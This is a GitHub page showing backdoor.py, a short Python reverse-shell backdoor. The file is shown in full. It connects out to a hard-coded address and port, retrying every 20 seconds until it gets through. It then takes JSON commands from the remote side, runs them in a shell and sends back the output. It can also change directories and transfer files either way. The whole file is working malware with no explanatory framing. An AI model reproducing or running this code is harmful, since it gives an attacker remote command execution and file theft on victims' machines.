-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbackdoor.py
81 lines (66 loc) · 1.79 KB
/
backdoor.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import socket
import time
import json
import subprocess
import os
def sender(data):
json_data = json.dumps(data)
sock.send(json_data.encode())
def receiver():
data = ""
while True:
try:
data = data + sock.recv(1024).decode().rstrip()
return json.loads(data)
except ValueError:
continue
def upload_file(file_name):
with open(file_name, "rb") as f:
sock.send(f.read())
def download_file(file_name):
with open(file_name, "wb") as f:
sock.settimeout(1)
chunk = sock.recv(1024)
while chunk:
f.write(chunk)
try:
chunk = sock.recv(1024)
except socket.timeout as err:
break
sock.settimeout(None)
def connection():
while True:
time.sleep(20)
try:
sock.connect(("192.168.0.57", 5555))
shell()
sock.close()
break
except:
connection()
def shell():
while True:
command = receiver()
if command == "quit":
break
elif command == "clear":
pass
elif command[:3] == "cd ":
os.chdir(command[3:])
elif command[:8] == "download":
upload_file(command[9:])
elif command[:6] == "upload":
download_file(command[7:])
else:
execute = subprocess.Popen(
command,
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.PIPE,
)
result = execute.stdout.read() + execute.stderr.read()
result = result.decode()
sender(result)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection()